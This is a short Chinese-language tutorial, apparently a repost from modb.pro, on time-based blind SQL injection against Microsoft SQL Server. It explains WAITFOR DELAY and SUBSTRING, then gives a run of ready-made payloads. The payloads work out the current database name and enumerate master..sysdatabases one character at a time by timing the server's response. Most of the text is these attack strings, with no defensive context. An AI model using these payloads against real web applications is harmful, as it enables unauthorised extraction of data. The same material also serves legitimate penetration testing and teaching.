补充:sqlserver 延时注入

2023-02-20 00:00:00 专区 订阅 等待 字符 截取
waitfor delay '0:0:5'
等待5秒再执行操作,页面将5秒之后返回。

waitfor 是sqlserver中的一个流程控制语句,他的作用是等待特定时间,然后执行后续语句,包含了一个delay来指定等待时间。

substring() 截取字符
从username字段中的个字符开始截取一个字符
substring(username,1,1)

if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'

if(substring((select top 1 name from master..sysdatabases),1,1)=char(109)) waitfor delay '0:0:5'

if(substring((select top 1 name from master..sysdatabases where name not in ('master')),1,1)='i') waitfor delay '0:0:5'

if(substring((select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS')),1,1)=char(105)) waitfor delay '0:0:5'

IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5' --

if ascii(substring((select top 1 name from master..sysdatabases where name not in ('master')),1,1))=105 waitfor delay '0:0:5'

本文来源https://www.modb.pro/db/75525

相关文章